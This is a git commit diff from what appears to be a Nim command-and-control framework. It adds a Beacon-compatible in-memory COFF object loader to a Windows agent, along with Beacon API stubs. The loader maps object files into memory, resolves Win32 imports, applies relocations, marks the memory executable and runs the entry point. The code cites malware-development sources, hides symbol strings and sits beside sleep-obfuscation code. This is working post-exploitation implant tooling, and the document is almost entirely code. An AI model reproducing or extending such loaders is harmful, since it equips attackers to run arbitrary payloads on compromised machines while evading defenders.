Implemented COFF loader.
This commit is contained in:
Jakob Friedl
@@ -26,4 +26,5 @@ requires "parsetoml >= 0.7.2"
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requires "nimcrypto >= 0.6.4"
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requires "tiny_sqlite >= 0.2.0"
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requires "prologue >= 0.6.6"
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requires "winim >= 3.9.4"
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requires "winim >= 3.9.4"
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requires "ptr_math >= 0.3.0"
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86
src/agent/core/beacon.nim
Normal file
86
src/agent/core/beacon.nim
Normal file
@@ -0,0 +1,86 @@
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import winim/core
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# Reference: https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/beaconapi.nim
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type va_list {.importc: "va_list", header: "<stdarg.h>".} = object
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proc puts(s: pointer): void {.importc, header: "<stdio.h>".}
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proc vprintf(format: pointer, args: va_list) {.importc, header: "<stdio.h>".}
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proc va_start(va: va_list, fmt: pointer) {.importc, header: "<stdarg.h>".}
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proc va_end(va: va_list): void {.importc, header: "<stdarg.h>".}
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type datap* {.pure.} = object
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original: PCHAR
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buffer: PCHAR
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length: INT
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size: INT
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const
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CALLBACK_OUTPUT* = 0x0
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CALLBACK_OUTPUT_OEM* = 0x1e
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CALLBACK_OUTPUT_UTF8* = 0x20
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CALLBACK_ERROR* = 0xd
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proc BeaconDataParse*(parser: ptr datap, buffer: PCHAR, size: INT): void =
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if cast[int](parser) == 0:
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return
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parser.original = buffer
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parser.buffer = buffer
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parser.length = size - 4
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parser.size = size - 4
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parser.buffer = cast[PCHAR](cast[int](buffer) + 4)
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proc BeaconDataInt*(parser: ptr datap): INT =
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var fourbyteint: INT = 0
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if (parser.length < 4):
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return 0
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copyMem(fourbyteint.addr, parser.buffer, 4)
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parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
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parser.length = cast[INT](cast[int](parser.length) - 4)
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return fourbyteint
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proc BeaconDataShort*(parser: ptr datap): SHORT =
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var retvalue: SHORT = 0
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if (parser.length < 2):
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return 0
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copyMem(retvalue.addr, parser.buffer, 2)
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parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 2)
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parser.length = cast[INT](cast[int](parser.length) - 2)
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return retvalue
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proc BeaconDataLength*(parser: ptr datap): INT =
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return parser.length
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proc BeaconDataExtract*(parser: ptr datap, size: ptr INT): PCHAR =
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var
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length: INT = 0
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outdata: PCHAR = nil
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if (parser.length < 4):
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return nil
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copyMem(length.addr, parser.buffer, 4)
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parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
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outdata = parser.buffer
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if (outdata == nil):
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return nil
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parser.length = cast[INT](cast[int](parser.length) - 4)
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parser.length = cast[INT](cast[int](parser.length) - length)
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parser.buffer = cast[PCHAR](cast[int](parser.buffer) + length)
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if (size != nil) and (outdata != nil):
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size[] = length
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return outdata
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proc BeaconOutput*(typ: int, data: pointer, length: int): void =
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puts(data)
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proc BeaconPrintf*(typ: int, fmt: pointer): void {.varargs.} =
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var va: va_list
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va_start(va, fmt)
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vprintf(fmt, va)
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va_end(va)
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427
src/agent/core/coff.nim
Normal file
427
src/agent/core/coff.nim
Normal file
@@ -0,0 +1,427 @@
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import winim/lean
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import os, strformat, strutils, ptr_math
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import ./beacon
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import ../../common/[types, utils, crypto]
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import sugar
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#[
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Object file loading involves the following steps
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1. Calculate and allocate memory required to hold the object file sections and symbols
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2. Copy option sections into the newly allocated memory
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3. Parse and resolve function symbols
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4. Perform section relocations
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5. Change memory protection and execute the entry point function
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References:
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- https://maldevacademy.com/new/modules/51
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- https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/main.nim
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- https://github.com/frkngksl/NiCOFF/blob/main/Main.nim
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]#
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# Type definitions
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type
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SECTION_MAP = object
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base: PVOID
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size: ULONG
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PSECTION_MAP = ptr SECTION_MAP
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OBJECT_CTX_UNION {.union.} = object
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base: ULONG_PTR
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header: PIMAGE_FILE_HEADER
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OBJECT_CTX {.pure.} = object
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union: OBJECT_CTX_UNION
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symTbl: PIMAGE_SYMBOL
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symMap: ptr PVOID
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secMap: PSECTION_MAP
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sections: PIMAGE_SECTION_HEADER
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POBJECT_CTX = ptr OBJECT_CTX
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# For entry point execution
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EntryPoint = proc(args: PBYTE, argc: ULONG): void {.stdcall.}
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# Macro for page alignment ( important for calculating the total virtual memory required for the object file to be loaded and executed)
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# #define PAGE_ALIGN( x ) (((ULONG_PTR)x) + ((SIZE_OF_PAGE - (((ULONG_PTR)x) & (SIZE_OF_PAGE - 1))) % SIZE_OF_PAGE))
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const PAGE_SIZE = 0x1000
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template PAGE_ALIGN(address: auto): uint =
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if cast[uint](address) mod PAGE_SIZE == 0:
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cast[uint](address)
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else:
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cast[uint](cast[uint](address) + ((PAGE_SIZE - ((cast[uint](address) and (PAGE_SIZE - 1))) mod PAGE_SIZE)))
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#[
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Calculates required memory size
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]#
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proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
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var
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objRel: PIMAGE_RELOCATION
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objSym: PIMAGE_SYMBOL
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symbol: PSTR
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length: ULONG
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var sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
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# Calculate size of the sections
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for i in 0 ..< int(objCtx.union.header.NumberOfSections):
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length += ULONG(PAGE_ALIGN(sections[i].SizeOfRawData))
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# Calculate function map size
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for i in 0 ..< int(objCtx.union.header.NumberOfSections):
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objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
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# Iterate over section relocations to retrieve symbols
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for j in 0 ..< int(sections[i].NumberOfRelocations):
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objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
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# dump objSym.repr
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# Retrieve symbol name
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if objSym.N.Name.Short != 0:
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# Short name
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symbol = cast[PSTR](addr objSym.N.ShortName)
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else:
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# Long name
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symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
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# Check if symbol starts with `__ipm_` (imported functions)
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if ($symbol).startsWith("__imp_"):
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length += ULONG(sizeof(PVOID))
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# echo $symbol
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# Handle next relocation item/symbol
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objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
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return ULONG(PAGE_ALIGN(length))
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#[
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Symbol resolution
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]#
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proc strchr*(str: pointer, c: char): pointer =
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var pStr = cast[ptr char](str)
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while (pStr[] != '\0') and (pStr[] != c):
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pStr = cast[ptr char](cast[int](pStr) + 1)
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if pStr[] == c:
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return cast[pointer](pStr)
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else:
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return nil
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proc objectResolveSymbol(symbol: var PSTR): PVOID =
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var
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resolved: PVOID
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function: PSTR
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library: PSTR
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pos: PCHAR
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buffer: array[MAX_PATH, char]
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hModule: HANDLE
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if symbol == NULL:
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return NULL
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# Remove the `__imp_` prefix from the symbol (6 bytes)
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symbol = cast[PSTR](cast[uint](symbol) + 6)
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# Check if the symbol is a Beacon API function
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if ($symbol).startsWith(protect("Beacon")):
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case $symbol:
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of protect("BeaconDataParse"):
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resolved = BeaconDataParse
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of protect("BeaconDataInt"):
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resolved = BeaconDataInt
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of protect("BeaconDataShort"):
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resolved = BeaconDataInt
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of protect("BeaconDataExtract"):
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resolved = BeaconDataExtract
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of protect("BeaconOutput"):
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resolved = BeaconOutput
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of protect("BeaconPrintf"):
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resolved = BeaconPrintf
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else:
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# Resolve a external Win32 API function
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# For external APIs, we will need to parse symbols formatted as LIBRARY$Function
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zeroMem(addr buffer[0], MAX_PATH)
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copyMem(addr buffer[0], symbol, ($symbol).len())
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# Replace `$` to separate library and function
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pos = cast[PSTR](strchr(addr buffer[0], '$'))
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pos[] = '\0'
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library = cast[PSTR](addr buffer[0])
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function = cast[PSTR](cast[uint](pos) + 1)
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# Resolve the library instance
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hModule = GetModuleHandleA(library)
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if hModule == 0:
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hModule = LoadLibraryA(library)
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if hModule == 0:
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raise newException(CatchableError, fmt"Library {$library} not found.")
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# Resolve the function from the loaded library
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resolved = GetProcAddress(hModule, function)
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if resolved == NULL:
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raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
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echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
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RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
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return resolved
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#[
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Object relocation
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Arguments:
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- uType: Type of relocation to perform
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- pRelocAddress: Address where the relocation will be applied
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- pSecBase: Base address of the section in the newly allocated object file, where the relocation needs to occur
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]#
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proc objectRelocation(uType: ULONG, pRelocAddress: PVOID, pSecBase: PVOID) =
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var
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offset32: ULONG32
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offset64: ULONG64
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case(uType)
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of IMAGE_REL_AMD64_REL32:
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cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32)
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of IMAGE_REL_AMD64_REL32_1:
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cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 1)
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of IMAGE_REL_AMD64_REL32_2:
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cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 2)
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of IMAGE_REL_AMD64_REL32_3:
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cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 3)
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of IMAGE_REL_AMD64_REL32_4:
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cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 4)
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of IMAGE_REL_AMD64_REL32_5:
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cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 5)
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of IMAGE_REL_AMD64_ADDR64:
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cast[PUINT64](pRelocAddress)[] = cast[UINT64](cast[uint](cast[PUINT64](pRelocAddress)[]) + (cast[uint](pSecBase)))
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else: discard
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#[
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Section processing
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]#
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proc objectProcessSection(objCtx: POBJECT_CTX): bool =
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var
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secBase: PVOID
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secSize: ULONG
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objRel: PIMAGE_RELOCATION
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objSym: PIMAGE_SYMBOL
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symbol: PSTR
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resolved: PVOID
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reloc: PVOID
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fnIndex: ULONG
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var
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sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
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secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
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symMap = cast[ptr UncheckedArray[PVOID]](objCtx.symMap)
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# Process and relocate object file sections
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for i in 0 ..< int(objCtx.union.header.NumberOfSections):
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objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
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# Iterate over section relocations to retrieve symbols
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for j in 0 ..< int(sections[i].NumberOfRelocations):
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objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
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# Retrieve symbol name
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if objSym.N.Name.Short != 0:
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# Short name
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symbol = cast[PSTR](addr objSym.N.ShortName)
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else:
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# Long name
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symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
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# Retrieve address to perform relocation
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reloc = cast[PVOID](cast[uint](secMap[i].base) + uint(objRel.union1.VirtualAddress))
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resolved = NULL
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# Check if symbol starts with `__ipm_` (imported functions)
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if ($symbol).startsWith("__imp_"):
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# Resolve the imported function
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resolved = objectResolveSymbol(symbol)
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if resolved == NULL:
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return false
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# Perform relocation on the imported function
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if (objRel.Type == IMAGE_REL_AMD64_REL32) and (resolved != NULL):
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symMap[fnIndex] = resolved
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cast[PUINT32](reloc)[] = cast[UINT32]((cast[uint](objCtx.symMap) + uint(fnIndex) * uint(sizeof(PVOID))) - cast[uint](reloc) - uint(sizeof(uint32)))
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inc fnIndex
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else:
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secBase = secMap[objSym.SectionNumber - 1].base
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# Perform relocation on the section
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objectRelocation(cast[ULONG](objRel.Type), reloc, secBase)
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# Handle net relocation item/symbol
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objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
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return true
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#[
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Object file execution
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Arguments:
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- objCtx: Object context
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- entry: Name of the entry function to be executed
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- args: Pointer to the address of the arguments passed to the object file
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- argc: Size of the arguments passed to the object file
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]#
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proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG): bool =
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var
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objSym: PIMAGE_SYMBOL
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symbol: PSTR
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secBase: PVOID
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secSize: ULONG
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oldProtect: ULONG
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var secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
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for i in 0 ..< int(objCtx.union.header.NumberOfSymbols):
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objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + i)
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# Retrieve symbol name
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if objSym.N.Name.Short != 0:
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# Short name
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symbol = cast[PSTR](addr objSym.N.ShortName)
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else:
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# Long name
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symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
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# Check if the function is defined within the object file
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if ISFCN(objSym.Type) and ($symbol == $entry):
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# Change the memory protection of the section to make it executable
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secBase = secMap[objSym.SectionNumber - 1].base
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secSize = secMap[objSym.SectionNumber - 1].size
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# Change the memory protection from [RW-] to [R-X]
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if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
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raise newException(CatchableError, $GetLastError())
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# Execute BOF entry point
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var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
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entryPoint(args, argc)
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# Revert the memory protection change
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if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
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raise newException(CatchableError, $GetLastError())
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return true
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return false
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#[
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Loads, parses and executes a object file in memory
|
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|
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Arguments:
|
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- pObject: Base address of the object file in memory
|
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- sFunction: Name of the function to be executed, usually "go"
|
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- pArgs: Base address of the arguments to be passed to the function
|
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- uArgc: Size of the arguments passed to the function
|
||||
]#
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proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBYTE, uArgc: ULONG): bool =
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var
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objCtx: OBJECT_CTX
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virtSize: ULONG
|
||||
virtAddr: PVOID
|
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secSize: ULONG
|
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secBase: PVOID
|
||||
|
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if pObject == NULL or sFunction == NULL:
|
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raise newException(CatchableError, "Arguments pObject and sFunction are required.")
|
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# Parsing the object file's file header, symbol table and sections
|
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objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
||||
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
|
||||
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
|
||||
|
||||
# echo objCtx.union.header.repr
|
||||
# echo objCtx.symTbl.repr
|
||||
# echo objCtx.sections.repr
|
||||
|
||||
# Verifying that the object file's architecture is x64
|
||||
when defined(amd64):
|
||||
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
||||
raise newException(CatchableError, "Only x64 object files are supported")
|
||||
else:
|
||||
raise newException(CatchableError, "Only x64 object files are supported")
|
||||
|
||||
# Calculate required virtual memory
|
||||
virtSize = objectVirtualSize(addr objCtx)
|
||||
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
|
||||
|
||||
# Allocate memory
|
||||
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||
if virtAddr == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
# Allocate heap memory to store section map array
|
||||
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
||||
if objCtx.secMap == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||
|
||||
# Set the section base to the allocated memory
|
||||
secBase = virtAddr
|
||||
|
||||
# Copy over sections into the newly allocated virtual memory
|
||||
var
|
||||
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||
|
||||
echo "[*] Copying over sections."
|
||||
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||
secSize = sections[i].SizeOfRawData
|
||||
secMap[i].size = secSize
|
||||
secMap[i].base = secBase
|
||||
|
||||
# Copy over section data
|
||||
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
|
||||
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
|
||||
|
||||
# Get the next page entry
|
||||
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
|
||||
|
||||
# The last page of the memory is the symbol/function map
|
||||
objCtx.symMap = cast[ptr PVOID](secBase)
|
||||
|
||||
echo "[*] Processing sections and performing relocations."
|
||||
if not objectProcessSection(addr objCtx):
|
||||
raise newException(CatchableError, "Failed to process sections.")
|
||||
|
||||
# Executing the object file
|
||||
echo "[*] Executing."
|
||||
if not objectExecute(addr objCtx, sFunction, pArgs, uArgc):
|
||||
raise newException(CatchableError, fmt"Failed to execute function {$sFunction}.")
|
||||
|
||||
return true
|
||||
|
||||
proc test*() =
|
||||
|
||||
var
|
||||
fileName = "whoami.x64.o"
|
||||
pObject = readFile(fileName)
|
||||
uLength: ULONG = cast[ULONG](pObject.len)
|
||||
|
||||
echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
|
||||
|
||||
try:
|
||||
if not inlineExecuteObjectFile(addr pObject[0], "go", NULL, 0):
|
||||
echo fmt"[-] Failed to inline-execute {fileName}"
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
@@ -3,8 +3,6 @@ import winim/inc/tlhelp32
|
||||
import os, system, strformat
|
||||
import ../../common/[types, utils, crypto]
|
||||
|
||||
import sugar
|
||||
|
||||
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
||||
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
|
||||
# https://maldevacademy.com/new/modules/54
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import strformat, os, times, system, base64
|
||||
|
||||
import core/[http, context, sleepmask]
|
||||
import core/[http, context, sleepmask, coff]
|
||||
import protocol/[task, result, heartbeat, registration]
|
||||
import ../modules/manager
|
||||
import ../common/[types, utils, crypto]
|
||||
@@ -69,5 +69,5 @@ proc main() =
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
|
||||
when isMainModule:
|
||||
when isMainModule:
|
||||
main()
|
||||
Reference in New Issue
Block a user